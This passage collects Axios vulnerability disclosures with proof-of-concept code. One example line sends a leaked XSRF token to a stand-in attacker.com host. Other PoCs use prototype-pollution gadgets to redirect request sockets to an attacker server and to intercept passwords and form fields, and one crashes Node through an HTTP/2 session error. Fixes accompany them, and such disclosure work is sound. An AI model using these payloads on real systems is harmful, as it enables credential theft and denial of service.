5.5 Additional Recommendation — IPv6 Loopback Range
While the primary bypass demonstrated in this report targets the IPv4 127.0.0.0/8 range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only ::1. A more complete check would also handle the full-form notation:
// Additional IPv6 loopback representations to consider: '0:0:0:0:0:0:0:1' // Full notation of ::1 '::ffff:127.0.0.1' // IPv4-mapped IPv6 loopback '::ffff:7f00:1' // Hex IPv4-mapped IPv6 loopback Normalising these representations before comparison would make the NOPROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families.
Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion
Summary
The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.
Severity: Medium (CVSS 5.4) Affected Versions: All versions since withXSRFToken was introduced Vulnerable Component: lib/helpers/resolveConfig.js:59 Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)
CWE
- CWE-201: Insertion of Sensitive Information Into Sent Data - CWE-183: Permissive List of Allowed Inputs
CVSS 3.1
Score: 5.4 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP triggered remotely via vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | Required | Victim must use browser with axios making cross-origin requests | | Scope | Unchanged | Token leakage within browser context | | Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token | | Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) | | Availability | None | No availability impact |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input when triggered via prototype pollution.
If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.
Vulnerable Code
File: lib/helpers/resolveConfig.js, lines 57-66
javascript // Line 57: Function check — only applies if withXSRFToken is a function withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));
// Line 59: The vulnerable condition if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) { // ^^^^^^^^^^^^^^^^ // When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits // isURLSameOrigin() is NEVER called → token sent to ANY origin const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } }
Designed behavior: - true → always send token (explicit cross-origin opt-in) - false → never send token - undefined → send only for same-origin requests
Actual behavior for non-boolean truthy values (1, "false", {}, []): - All treated as truthy → same-origin check skipped → token sent everywhere
Proof of Concept
javascript // Simulated prototype pollution from any vulnerable dependency Object.prototype.withXSRFToken = 1;
// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123" // Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123 // Even to cross-origin hosts: await axios.get('https://attacker.com/collect'); // → attacker receives the XSRF token in request headers
Verified PoC Output
withXSRFToken Value Sends Token Cross-Origin Expected true (boolean) YES Yes (opt-in) false (boolean) No No undefined (default) No No 1 (number) YES ← BUG No "false" (string) YES ← BUG No {} (object) YES ← BUG No [] (array) YES ← BUG No
Prototype pollution: Object.prototype.withXSRFToken = 1 config.withXSRFToken = 1 → leaks=true isURLSameOrigin() was NOT called (short-circuited)
Impact Analysis
- XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application - Universal Scope: A single Object.prototype.withXSRFToken = 1 affects every axios request in the application - Misconfiguration Risk: Developer writing withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP
Limitations: - Browser-only (XSRF logic runs only in hasStandardBrowserEnv) - XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking - Attacker still needs a way to deliver the forged request after obtaining the token
Recommended Fix
Use strict boolean comparison:
javascript // FIXED: lib/helpers/resolveConfig.js const shouldSendXSRF = withXSRFToken === true || (withXSRFToken == null && isURLSameOrigin(newConfig.url));
if (shouldSendXSRF) { const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } }
Resources
- CWE-201: Insertion of Sensitive Information Into Sent Data - CWE-183: Permissive List of Allowed Inputs - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios - Axios GitHub Repository
Timeline
| Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-16 | Report revised: corrected CVSS, documented limitations | | TBD | Report submitted to vendor via GitHub Security Advisory |
Summary
Axios versions with Node.js HTTP/2 support can terminate the caller’s process when a ClientHttp2Session emits an error event that is not handled by axios.
This affects applications that use the Node HTTP adapter with httpVersion: 2. A malicious, unavailable, or non-HTTP/2 endpoint can cause an uncaught exception instead of a normal rejected axios request.
Impact
The impact is denial of service. In affected applications, an attacker who can influence the request destination, or operate the destination server, may be able to crash the Node.js process.
This does not affect default HTTP/1.1 usage, browser XHR/fetch adapters, or applications that do not enable axios HTTP/2 support.
Affected Functionality
Affected path:
- Node.js HTTP adapter - httpVersion: 2 - HTTP/2 session creation/reuse through Http2Sessions - Network/session failures emitted as ClientHttp2Session error events
Caller-controlled http2Options can make the issue easier to trigger, but passing arbitrary attacker input into axios config is caller-controlled behavior and should not be the primary advisory framing.
Technical Details
Http2Sessions.getSession() creates a session with http2.connect(authority, options) but only registers a close handler. It does not register an error handler on the returned ClientHttp2Session.
When the session emits error, Node treats it as an unhandled EventEmitter error and throws. This can bypass the normal axios Promise rejection path and terminate the process.
Proof of Concept of Attack js import axios from './index.js';
await axios.get('http://127.0.0.1:1/', { httpVersion: 2, timeout: 1000 });
Expected vulnerable behavior: the process exits with an uncaught ECONNREFUSED session error instead of only rejecting the axios request.
Workarounds
Disable axios HTTP/2 for untrusted or user-influenced destinations and use the default HTTP/1.1 adapter until a fixed release is available. Also avoid passing attacker-controlled values into http2Options; axios config is trusted application input.
<details> <summary><h3>Original report</h3></summary> Hi, i'm RelunSec a security researcher working with InsiteTech.jp
i want let you known, i finded a DoS in axios, to reproduce that, that is the example of a server
js const http = require('http'); // Import the local axios version to ensure the patch is active const axios = require('../../lib/axios.js').default; const url = require('url');
// A public HTTP/2 server to make internal requests to. // This simulates an external service your application might interact with over HTTP/2. const TARGETURL = 'https://nghttp2.org/'; const PORT = 3000;
const server = http.createServer(async (req, res) => { const parsedUrl = url.parse(req.url, true); const http2optionId = parsedUrl.query.http2optionId;
if (!http2optionId) { console.warn([SERVER] Rejected request: Missing http2optionId parameter); res.writeHead(400, { 'Content-Type': 'text/plain' }); res.end('Error: Missing http2optionId query parameter. Usage: ?http2optionId=value\n'); return; }
console.log([SERVER] Received request with http2optionId: ${http2optionId});
// Create an Axios instance configured for HTTP/2 // The 'id' in http2Options makes each session configuration unique. const axiosInstance = axios.create({ baseURL: TARGETURL, httpVersion: 2, http2Options: { // rejectUnauthorized: false, // Uncomment if targeting a local HTTP/2 server with self-signed cert id: http2optionId, // This is the attacker-controlled unique part }, // Adding a short timeout to prevent attacker from waiting too long if target is slow timeout: 5000 });
try { const response = await axiosInstance.get('/'); res.writeHead(200, { 'Content-Type': 'text/plain' }); res.end(Internal HTTP/2 request successful for ID: ${http2optionId}\nStatus: ${response.status}); } catch (error) { // Check for the specific error indicating session limit reached if (error.isAxiosError && error.code === axios.AxiosError.ERRBADOPTIONVALUE) { console.error([SERVER] Internal HTTP/2 request failed for ID: ${http2optionId}: ${error.message}); res.writeHead(500, { 'Content-Type': 'text/plain' }); res.end(Internal HTTP/2 request failed for ID: ${http2optionId}: ${error.message}); } else { console.error([SERVER] Internal HTTP/2 request failed for ID: ${http2optionId}:, error.message); res.writeHead(500, { 'Content-Type': 'text/plain' }); res.end(Internal HTTP/2 request failed for ID: ${http2optionId}: Generic error - ${error.message}); } } });
server.listen(PORT, () => { console.log(PoC Server listening on http://localhost:${PORT}); console.log(Targeting internal HTTP/2 requests to: ${TARGETURL}); console.log(Send requests to http://localhost:${PORT}?http2optionId=...); console.log(Expected behavior with current patch: After ~100 unique http2optionIds, subsequent requests will receive ERRBADOPTIONVALUE.); });
i tested all that in latest git version, after starting the server.cjs, to trigger that you just need do
rust relunsec@relunsec:~/software/axios-1/poc/poc$ curl http://127.0.0.1:3000/?http2optionId=hi curl: (52) Empty reply from server
that is extremly simple to trigger
it confirms a DoS in the HTTP/2 session cache, that needs be patched, the impact is will lead the server crashes and shutdown by an attacker, the server is written properly and no flaws in it and try catch blocks and errors handled however because that is an axios internal error will crash </details>
---
Summary
Axios' Node HTTP adapter can act as a read-side prototype-pollution gadget for Node's sensitive createConnection request option. The adapter creates a null-prototype options object, but Node's HTTP client can copy or normalize request options into ordinary objects before connection creation. If Object.prototype.createConnection has been polluted elsewhere in the same process, Node can call the inherited function and create a socket to an attacker-controlled endpoint.
Axios does not create the prototype pollution source. The vulnerability is that axios does not set an own safe value for a sensitive transport option before handing options to Node.
Impact
Given a prior same-process prototype-pollution primitive, an attacker can redirect later axios Node HTTP requests at the socket layer while the request URL and axios config still appear to target the legitimate origin. The attacker-controlled endpoint can receive request headers and bodies, including Authorization headers, cookies, API keys, and service credentials, and can return attacker-controlled responses to the application.
This can bypass application destination validation that checks the URL before calling axios, because the URL remains legitimate while the underlying socket goes elsewhere.
Affected Functionality
Affected:
- Node.js HTTP adapter. - HTTP and HTTPS request paths that rely on Node/follow-redirects option processing and do not set an own safe createConnection. - Processes where Object.prototype.createConnection is polluted.
Not affected:
- Browser adapters. - Processes without prototype pollution. - Requests using a custom trusted transport that ignores inherited createConnection and sanitizes options internally.
Technical Details
lib/adapters/http.js creates:
js const options = Object.assign(Object.create(null), { path, method, headers, agents: { http: httpAgent, https: httpsAgent }, auth, protocol, family, beforeRedirect: dispatchBeforeRedirect, beforeRedirects: Object.create(null), http2Options, });
The object does not include an own createConnection property. Local verification on axios 1.18.1 polluted Object.prototype.createConnection to connect to an attacker loopback server. A request to a legitimate loopback server with an Authorization header returned the attacker's response; the legitimate server received no request and the attacker server received Bearer SECRET.
Proof of Concept of Attack
Constrained local demonstration:
js Object.prototype.createConnection = function (options, cb) { const socket = net.createConnection({ host: '127.0.0.1', port: attackerPort }, () => { if (typeof cb === 'function') cb(null, socket); }); return socket; };
await axios.get('http://127.0.0.1:<legit-port>/secret', { headers: { Authorization: 'Bearer SECRET' }, proxy: false });
Expected safe behavior is that the legitimate server receives the request. Current affected behavior lets the attacker server receive the request and return the response.
Workarounds
Run axios in a process where prototype pollution is not present. For high-risk internal clients, use a custom trusted transport or agent layer that sets and enforces its own connection creation behavior instead of allowing inherited Node request options to participate.
<details> <summary><h3>Original report</h3></summary> Summary
Axios' Node HTTP adapter remains exploitable as a read-side prototype-pollution gadget after the recent null-prototype hardening. This is not a claim that axios creates the prototype pollution source. The precondition is a separate upstream prototype pollution primitive in the same Node.js process.
When Object.prototype.createConnection is polluted, axios requests can be redirected to an attacker-controlled socket even though the adapter builds the request options with Object.create(null). The request URL and axios config still appear to target the legitimate host, but the actual socket is attacker-controlled.
This allows credential exfiltration and response manipulation for later axios HTTP requests in a polluted process.
Impact
Given an upstream prototype pollution primitive in the same process, an attacker can turn later axios HTTP requests into a man-in-the-middle primitive:
- redirect the underlying socket for axios requests to attacker-controlled infrastructure - receive headers and request bodies intended for the legitimate target, including bearer tokens, cookies, API keys, and service credentials - return attacker-controlled responses to the caller - bypass application SSRF controls that validate the URL before calling axios, because the requested URL remains legitimate while the socket connects elsewhere
The important boundary here is axios' documented/read-side prototype-pollution hardening. The project threat model discusses polluted Object.prototype from transitive dependencies as an in-scope read-side gadget class where axios should avoid picking up inherited behavior-changing properties. This issue is a bypass of that hardening at the Node HTTP request-options boundary.
Technical details
The HTTP adapter constructs a null-prototype request options object before calling the selected transport:
js const options = Object.assign(Object.create(null), { path, method: method, headers: toByteStringHeaderObject(headers), agents: { http: config.httpAgent, https: config.httpsAgent }, auth, protocol, family, beforeRedirect: dispatchBeforeRedirect, beforeRedirects: Object.create(null), http2Options, });
That prevents direct inherited reads while the options object remains null-prototype. However, Node's HTTP client path copies or normalizes request options into ordinary objects before connection creation. After that copy, missing properties can resolve from Object.prototype again.
createConnection is a sensitive Node HTTP option. If it is inherited after this copy, Node calls the attacker-supplied function to create the socket.
Reproduction
The following minimal proof uses a legitimate target server and an attacker server. It pollutes Object.prototype.createConnection, then makes an axios request to the legitimate server with an Authorization header.
js import net from 'node:net'; import http from 'node:http'; import axios from 'axios';
function listen(handler) { return new Promise(resolve => { const s = http.createServer(handler); s.listen(0, '127.0.0.1', () => resolve(s)); }); }
const legitHits = []; const attackerHits = [];
const legit = await listen((req, res) => { legitHits.push({url: req.url, auth: req.headers.authorization || null}); res.end('LEGIT'); });
const attacker = await listen((req, res) => { attackerHits.push({url: req.url, auth: req.headers.authorization || null}); res.end('ATTACKER'); });
Object.prototype.createConnection = function(options, cb) { const sock = net.createConnection({ host: '127.0.0.1', port: attacker.address().port, }, () => { if (typeof cb === 'function') cb(null, sock); }); return sock; };
const res = await axios.get(http://127.0.0.1:${legit.address().port}/secret, { headers: {Authorization: 'Bearer SECRET'}, proxy: false, });
console.log({ response: res.data, legitHits, attackerHits, });
Observed result on the current npm package:
json { "response": "ATTACKER", "legitHits": [], "attackerHits": [ { "url": "/secret", "auth": "Bearer SECRET" } ] }
The request never reached the intended target. The attacker-controlled server received the Authorization header and supplied the response body returned by axios.
Versions tested
I reproduced this against:
- axios 1.16.1 from npm - axios 1.17.0 from npm - current v1.x source at commit a8e4f13aeecc45a3b8fab3ecfd9ddb5d70fb772b
Fix validation
Adding an own safe value for createConnection to the adapter options object prevents inherited pollution from being observed after Node's option copy:
js const options = Object.assign(Object.create(null), { path, method: method, headers: toByteStringHeaderObject(headers), agents: { http: config.httpAgent, https: config.httpsAgent }, auth, protocol, family, beforeRedirect: dispatchBeforeRedirect, beforeRedirects: Object.create(null), http2Options, createConnection: undefined, });
With that guard in place, the same proof no longer calls the polluted function. The legitimate server receives the request, the attacker server receives nothing, and axios returns the legitimate response.
Remediation
Set own safe defaults for sensitive Node HTTP request options before calling transport.request, at minimum:
js createConnection: undefined
I recommend reviewing other sensitive Node HTTP options that may be read after Node copies the request options into a normal object, especially connection/TLS-affecting fields such as lookup, timeout, localAddress, servername, signal, and related options. </details>
---
Summary
Axios form serialization reads visitor, maxDepth, dots, indexes, metaTokens, and Blob from an internal options object without own-property guards. When Object.prototype has been polluted elsewhere in the same process, those inherited values can change how axios serializes multipart and URL-encoded request bodies.
Axios does not create the prototype pollution source. This is a read-side gadget: axios turns an existing same-process pollution condition into altered request serialization or request failures.
Impact
The impact depends on which property is polluted and which axios serialization path the application uses.
Polluted dots, indexes, or metaTokens can change field names and cause the receiving service to parse different data than the caller intended. Polluted maxDepth can cause nested form submissions to throw ERRFORMDATADEPTHEXCEEDED, producing request-level or service-level denial of service for affected workflows. Polluted visitor can execute as the serializer visitor if an attacker can place a function on Object.prototype, but that condition generally implies a stronger same-process code-execution or malicious-dependency primitive and should be described carefully.
Affected Functionality
Affected:
- axios.toFormData(). - transformRequest paths that serialize plain objects to multipart/form-data. - URL-encoded form serialization paths that rely on the same helper. - formSerializer option defaults when the relevant properties are absent as own properties.
Not affected:
- JSON request bodies. - Requests that do not invoke toFormData(). - Processes where Object.prototype is not polluted.
Technical Details
lib/helpers/toFormData.js merges caller options with defaults using utils.toFlatObject(). When options is undefined, toFlatObject() returns the default object unchanged:
js { metaTokens: true, dots: false, indexes: false }
That default object has Object.prototype in its prototype chain. toFormData() then reads behavior-affecting values directly:
js const metaTokens = options.metaTokens; const visitor = options.visitor || defaultVisitor; const dots = options.dots; const indexes = options.indexes; const Blob = options.Blob || (typeof Blob !== 'undefined' && Blob); const maxDepth = options.maxDepth === undefined ? DEFAULTFORMDATAMAXDEPTH : options.maxDepth;
These reads can resolve inherited polluted properties.
Local code review confirmed the direct reads in v1.18.1. Tag checks show the option-based form serializer exists in v0.28.0 and later; maxDepth appears in the 1.x line from the form recursion fix.
Proof of Concept of Attack
Constrained local demonstration:
js Object.prototype.maxDepth = 1;
await axios.post(url, { a: { b: { c: 'value' } } }, { headers: { 'Content-Type': 'multipart/form-data' } });
Expected safe behavior is that the default max depth is used unless the caller sets an own formSerializer.maxDepth. Current behavior reads the inherited value and can throw ERRFORMDATADEPTHEXCEEDED.
For serializer alteration, polluting Object.prototype.dots = true changes nested field naming from bracket notation to dot notation when the caller did not opt into that behavior.
Workarounds
Avoid serializing attacker-controlled objects as form data in a process with known prototype pollution. As a partial mitigation, callers can pass an own formSerializer object that sets explicit safe values for all relevant keys, including visitor, maxDepth, dots, indexes, metaTokens, and Blob.
<details> <summary><h3>Original report</h3></summary>
Summary axios v1.18.1 contains a read-side prototype pollution gadget in its form data serialization logic. Six option properties (visitor, maxDepth, dots, indexes, metaTokens, Blob) are read from a plain JavaScript object that inherits from Object.prototype without hasOwnProperty guards. When Object.prototype has been polluted elsewhere in the process a common consequence of compromised transitive npm dependencies, these polluted values silently control axios' form serialization behavior.
The highest-impact gadget is visitor: a polluted function on Object.prototype.visitor is invoked for every key-value pair during multipart and URL-encoded form serialization, receiving the value, key, path, and internal helper functions as arguments.
Details Root Cause The attack chain has three steps: Step 1: formSerializer is read safely, but undefined flows through In lib/defaults/index.js, the default transformRequest function reads formSerializer from config using the own() helper, which enforces hasOwnProp: js const formSerializer = own(this, 'formSerializer'); When the user does not explicitly configure formSerializer, this correctly returns undefined. That undefined is then passed as the options parameter to toFormData(): js return toFormData(data, FormData && new FormData(), formSerializer); // ^^^^^^^^^^^^ undefined
Step 2: toFlatObject returns a plain-object default Inside lib/helpers/toFormData.js, options (which is undefined) is merged with defaults via utils.toFlatObject(): js options = utils.toFlatObject( options, // undefined { metaTokens: true, dots: false, indexes: false }, // plain object literal false, function defined(option, source) { return !utils.isUndefined(source[option]); } ); toFlatObject has an early-return for null/undefined sources:
js // lib/utils.js:607 if (sourceObj == null) return destObj; Since options is undefined, the function returns destObj unchanged — the plain object { metaTokens: true, dots: false, indexes: false }. This object's prototype is Object.prototype.
Step 3: Options are read without hasOwnProp guards The six option properties are read directly from the plain object: js const metaTokens = options.metaTokens; // line 117 const visitor = options.visitor || defaultVisitor; // line 119 const dots = options.dots; // line 120 const indexes = options.indexes; // line 121 const Blob = options.Blob || (typeof Blob !== 'undefined' && Blob); // line 122 const maxDepth = options.maxDepth === undefined // line 123 ? DEFAULTFORMDATAMAXDEPTH : options.maxDepth; None of these reads use utils.hasOwnProp(). Since the options object inherits from Object.prototype, any property set on Object.prototype by a compromised dependency is resolved through the prototype chain.
Why the Existing Defenses Didn't Catch This axios has extensive prototype pollution defenses. However, those defenses are all focused on the config object (created by mergeConfig, which returns Object.create(null)). The toFormData function creates its own internal options object that sits outside that boundary, and the 6 reads on that internal object were never audited.
PoC Reproduction Steps Environment Any environment with Node.js and npm. Tested on: - Node.js v24.15.0, npm 11.13.0 - axios v1.18.1 (latest release at time of writing)
Step 1: Create a fresh project bash mkdir axios-pp-poc cd axios-pp-poc npm init -y npm install axios@1.18.1 Step 2: Create the PoC file Create poc.mjs with the following content: js import axios from 'axios'; import http from 'http';
// Simulate pollution from a compromised transitive dependency let stolen = []; Object.prototype.visitor = function(value, key, path, helpers) { stolen.push({ key, value }); return helpers.defaultVisitor.call(this, value, key, path); }; Object.prototype.maxDepth = 2;
const server = http.createServer((req, res) => { res.writeHead(200); res.end('{}'); });
server.listen(0, '127.0.0.1', async () => { const { port } = server.address(); try { // Exfiltration: visitor intercepts all form fields await axios.post(http://127.0.0.1:${port}/, { username: 'john', password: 'SuperSecret123!', profile: { ssn: '123-45-6789' } }, { headers: { 'Content-Type': 'multipart/form-data' } });
console.log('Stolen:', stolen); // Stolen: [ // { key: 'username', value: 'john' }, // { key: 'password', value: 'SuperSecret123!' }, // { key: 'profile', value: { ssn: '123-45-6789' } }, // { key: 'ssn', value: '123-45-6789' } // ]
// DoS: nested object rejected by polluted maxDepth await axios.post(http://127.0.0.1:${port}/, { a: { b: { c: { d: 'value' } } } }, { headers: { 'Content-Type': 'multipart/form-data' } } ); // Throws: ERRFORMDATADEPTHEXCEEDED // "Object is too deeply nested (3 levels). Max depth: 2" } finally { delete Object.prototype.visitor; delete Object.prototype.maxDepth; server.close(); } }); Step 3: Run the PoC bash node poc.mjs
Impact 1. Data Exfiltration via visitor (Confidentiality: High) A polluted Object.prototype.visitor function is called as the form data visitor: js visitor.call(formData, el, key, path, exposedHelpers) The attacker receives: - value — the raw value being serialized (passwords, tokens, PII, API keys) - key — the field name - path — the full path array (e.g., ['profile', 'address', 'street']) - exposedHelpers — internal helpers including defaultVisitor, convertValue, isVisitable
By delegating to helpers.defaultVisitor, the attack is completely transparent, the request succeeds normally and the server receives intact data. The exfiltration is invisible to both the caller and the server.
2. Denial of Service via maxDepth (Availability: Low) A polluted Object.prototype.maxDepth of 1 or 2 causes any moderately nested form data request to throw ERRFORMDATADEPTHEXCEEDED. Applications that send nested objects as form data (common with APIs that accept profile[name], address[city], etc.) will experience mysterious failures.
3. Data Corruption via dots, indexes, metaTokens (Integrity: Low) Polluting these options changes the serialization format of form field names: - dots: true — changes bracket notation (user[name]) to dot notation (user.name) - indexes: true — changes array serialization (items[]) to indexed (items[0], items[1]) - metaTokens: false — changes obj{} keys to raw json strings
The server may misinterpret the submitted form data, leading to silent data corruption. </details>
---
Summary
Axios request interceptors may return a replacement config object. If an interceptor returns a plain object without an own headers property, dispatchRequest() later evaluates config.headers and can resolve an inherited Object.prototype.headers value. In a process where another vulnerability has polluted Object.prototype.headers, axios can send attacker-controlled headers.
Axios does not create the prototype pollution source, and the interceptor itself is trusted caller code. The vulnerable behavior is the post-interceptor axios config read that reopens a prototype-pollution gadget after earlier null-prototype config hardening.
Impact
An attacker with a prior same-process prototype-pollution primitive can inject headers into affected axios requests when the application uses an interceptor that rebuilds config and omits headers. Depending on the target service, injected headers can affect cache behavior, conditional requests, metadata services, or application-specific authorization and routing logic.
The issue is conditional and should not be described as affecting every interceptor or every request.
Affected Functionality
Affected:
- Request interceptor chains where an interceptor returns a new ordinary object. - Replacement config objects that omit an own headers property. - dispatchRequest() header normalization through AxiosHeaders.from(config.headers).
Not affected:
- Requests whose interceptor preserves an own headers property. - Interceptors that mutate and return the existing null-prototype config. - Processes without prototype pollution.
Technical Details
lib/core/dispatchRequest.js contains:
js config.headers = AxiosHeaders.from(config.headers);
The initial merged config is null-prototype, but an interceptor can replace it with a normal object. If that object has no own headers, the read can resolve Object.prototype.headers.
Local verification on axios 1.18.1 polluted Object.prototype.headers = { 'X-Poisoned': 'yes' }, installed an interceptor that returned { url, method, timeout, proxy: false }, and sent a request. The loopback server received X-Poisoned: yes.
Proof of Concept of Attack
Constrained local demonstration:
js Object.prototype.headers = { 'X-Poisoned': 'yes' };
const client = axios.create(); client.interceptors.request.use((config) => ({ url: config.url, method: config.method, timeout: config.timeout }));
await client.get(url);
Expected safe behavior is that missing headers normalize to an empty header set. Current affected behavior reads inherited Object.prototype.headers.
Workarounds
Interceptors that rebuild config should always set an own headers property, for example by preserving config.headers or setting headers: {}. Mutating and returning the existing merged config also avoids replacing the null-prototype object.
<details> <summary><h3>Original report</h3></summary>
Summary
Axios 1.17.0 blocks the old Object.prototype.common header bucket gadget. However, if a request interceptor rebuilds a minimal config object and omits headers, dispatchRequest() reads inherited Object.prototype.headers.
This allows attacker-controlled headers to be placed on the wire.
Affected Version
Validated on:
- axios: 1.17.0 - commit: 4306df2 - runtime: Node.js v24.15.0
Preconditions
- A separate prototype-pollution primitive can write an object to Object.prototype.headers. - A request interceptor rebuilds config and omits own headers.
Root Cause
dispatchRequest() uses:
js config.headers = AxiosHeaders.from(config.headers);
If config is a normal object returned by an interceptor and lacks own headers, this reads Object.prototype.headers.
Impact
An attacker can inject request headers. Depending on the target service, this can cause cache manipulation, conditional-response suppression, request smuggling preconditions, metadata-service header injection, or application-specific authorization bypass.
Proof of Concept
js import axios from './index.js'; import http from 'http';
const start = (handler) => new Promise((resolve) => { const server = http.createServer(handler); server.listen(0, '127.0.0.1', () => resolve(server)); });
const stop = (server) => new Promise((resolve) => server.close(resolve));
const hits = [];
const server = await start((req, res) => { hits.push(req.headers); res.setHeader('Content-Type', 'application/json'); res.end('{"ok":true}'); });
try { Object.prototype.headers = { 'X-Poisoned': 'yes', 'If-None-Match': '' };
const client = axios.create(); client.interceptors.request.use((config) => ({ url: config.url, method: config.method, timeout: config.timeout }));
await client.get(http://127.0.0.1:${server.address().port}/headers, { timeout: 3000 });
console.log(hits[0]); } finally { delete Object.prototype.headers; await stop(server); }
Observed wire headers:
json { "x-poisoned": "yes", "if-none-match": "", "user-agent": "axios/1.17.0" }
References
- https://github.com/axios/axios/security/advisories/GHSA-898c-q2cr-xwhg - https://osv.dev/vulnerability/GHSA-898c-q2cr-xwhg </details> ---
Summary
Axios default-instance requests that omit an explicit method can read an inherited method value from Object.prototype. If another vulnerability in the same process pollutes Object.prototype.method, calls such as axios.request({ url }) and axios({ url }) can send a state-changing HTTP method instead of the expected default GET.
Axios does not create the prototype pollution source. This is a read-side gadget in axios request dispatch.
Impact
In an affected application with a separate prototype-pollution primitive, an attacker can change axios default-instance requests that omit method from GET to methods such as DELETE, POST, PUT, or PATCH. The practical impact depends on the target endpoint and can include unintended writes, deletion, or other state changes.
Method aliases such as axios.get(url) and requests with an explicit own method are not affected by the confirmed method path.
Affected Functionality
Affected:
- Default axios instance calls: axios.request({ url }). - Callable shorthand: axios({ url }). - Requests where no own config.method is provided.
Not affected in the confirmed method PoC:
- axios.get(url) and other method aliases. - axios.request({ url, method: 'GET' }). - axios.create().request({ url }) when the created instance defaults are produced by current mergeConfig() and do not inherit from Object.prototype.
Technical Details
lib/core/Axios.js sets the request method with:
js config.method = (config.method || this.defaults.method || 'get').toLowerCase();
mergeConfig() now returns a null-prototype request config, so config.method is safe from Object.prototype. However, the default axios instance stores the module defaults object as this.defaults, and that defaults object is a normal object. If Object.prototype.method exists, this.defaults.method resolves to the polluted inherited value.
Local verification on axios 1.18.1 showed a default-instance axios.request({ url }) request reaching a loopback server as DELETE after Object.prototype.method = 'DELETE'.
Proof of Concept of Attack
Constrained local demonstration:
js Object.prototype.method = 'DELETE'; try { await axios.request({ url: 'http://127.0.0.1:<port>/resource' }); } finally { delete Object.prototype.method; }
Expected safe behavior is a GET request. Current affected behavior sends DELETE on the default instance when no method is provided.
Workarounds
Use explicit method aliases such as axios.get() or set an own method on request configs. Avoid default-instance shorthand for requests in processes where prototype pollution is suspected or possible.
<details> <summary><h3>Original report</h3></summary> Summary
Axios 1.17.0 contains a read-side prototype-pollution gadget in the default Axios instance. If another vulnerability in the same Node.js process pollutes Object.prototype.method, default-instance calls such as axios.request({ url }) and axios({ url }) can be forced to use an attacker-controlled HTTP method, such as DELETE, instead of the expected default GET.
Axios does not create the prototype pollution by itself. The issue is that Axios reads fallback values from this.defaults without an own-property guard, allowing inherited values from Object.prototype to influence request behavior.
This should be treated as a prototype-pollution gadget, not as a standalone prototype-pollution source. In other words, Axios is not the component that lets the attacker write to Object.prototype; Axios is the component that becomes dangerous after Object.prototype has already been polluted by another bug in the same process.
Details
The vulnerable fallback read is in lib/core/Axios.js:
js // Set config.allowAbsoluteUrls if (config.allowAbsoluteUrls !== undefined) { // do nothing } else if (this.defaults.allowAbsoluteUrls !== undefined) { config.allowAbsoluteUrls = this.defaults.allowAbsoluteUrls; } else { config.allowAbsoluteUrls = true; }
// Set config.method config.method = (config.method || this.defaults.method || 'get').toLowerCase();
The merged request config is created as a null-prototype object in lib/core/mergeConfig.js:
js const config = Object.create(null);
Therefore, when the caller does not provide config.method, the fallback becomes:
js this.defaults.method
The default Axios instance uses the module defaults object. In the tested version, that defaults object is affected by inherited properties from Object.prototype. If Object.prototype.method is polluted, this.defaults.method resolves to that inherited value and Axios uses it as the request method.
The same unsafe inherited-property pattern also affects this.defaults.allowAbsoluteUrls, which can change how absolute URLs are combined with baseURL.
Proof of Concept
Access and Attack Conditions
No admin access is required for Axios itself. This is a library-level gadget.
The attacker must have an existing way to pollute Object.prototype in the same Node.js process, for example through a separate prototype-pollution vulnerability in another dependency or application input path. Axios is the gadget that turns that pollution into dangerous HTTP request behavior.
Required condition:
text Some other bug or unsafe merge path in the application must allow Object.prototype pollution.
What Axios contributes:
text Axios reads inherited Object.prototype.method through this.defaults.method and uses it as the HTTP method fallback.
What Axios does not do:
text Axios does not create Object.prototype pollution by itself.
Affected usage:
js axios.request({ url }); axios({ url });
Not affected in the confirmed PoC:
js axios.get(url); axios.request({ url, method: "GET" }); axios.create().request({ url });
Reproduction Steps
1. Create a clean test directory and install Axios 1.17.0:
powershell mkdir axios-validation cd axios-validation npm init -y npm install axios@1.17.0 --no-audit --no-fund
2. Save the method override PoC below as:
text validate-prototype-method-gadget.mjs
3. Run the PoC:
powershell node validate-prototype-method-gadget.mjs
4. Confirm that the output shows:
text defaultRequestMethod=DELETE defaultShorthandMethod=DELETE getAliasMethod=GET explicitGetMethod=GET createdInstanceMethod=GET RESULT: CONFIRMED
5. This proves that after Object.prototype.method = "DELETE", default-instance calls that omit an explicit method are sent as DELETE.
What the Method PoC Script Does
The PoC starts a temporary local HTTP server for each Axios call and records the HTTP method received by that server. It then simulates an already-existing prototype-pollution condition by setting:
